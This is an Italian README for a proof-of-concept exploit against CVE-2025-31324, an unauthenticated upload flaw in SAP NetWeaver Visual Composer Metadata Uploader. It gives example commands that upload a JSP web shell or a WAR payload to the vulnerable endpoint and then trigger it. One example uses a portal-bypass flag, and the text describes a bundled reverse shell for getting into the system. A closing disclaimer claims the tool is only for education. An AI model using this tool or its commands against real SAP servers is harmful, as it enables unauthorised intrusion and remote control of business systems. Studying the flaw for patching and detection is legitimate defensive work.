CVE-2025-31324_PoC

Prova di concetto per CVE-2025-31324: Caricamento non autenticato in SAP NetWeaver Visual Composer Metadata Uploader

Questo script esegue:

1. Caricamento del file sull'endpoint vulnerabile (tramite host/porta di Upload)
2. Trigger opzionale tramite HTTP GET (tramite host/porta di Trigger)
3. Validazione/log di risposta di base

Esempio di utilizzo: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

Hai anche la possibilità di caricare un file .war se preferisci eseguirlo in questo modo. cache.jsp è una reverse shell che ti darà accesso una volta dentro il sistema. (Sto ancora risolvendo alcuni problemi)

Dichiarazione di non responsabilità

Questo è destinato esclusivamente a scopi educativi e non deve essere utilizzato per attività dannose. Assicurati sempre di avere le autorizzazioni necessarie e di seguire le linee guida etiche quando testi o ricerchi vulnerabilità di sicurezza.

Per qualsiasi domanda o chiarimento, non esitare a contattarci. Rimani al sicuro e protetto!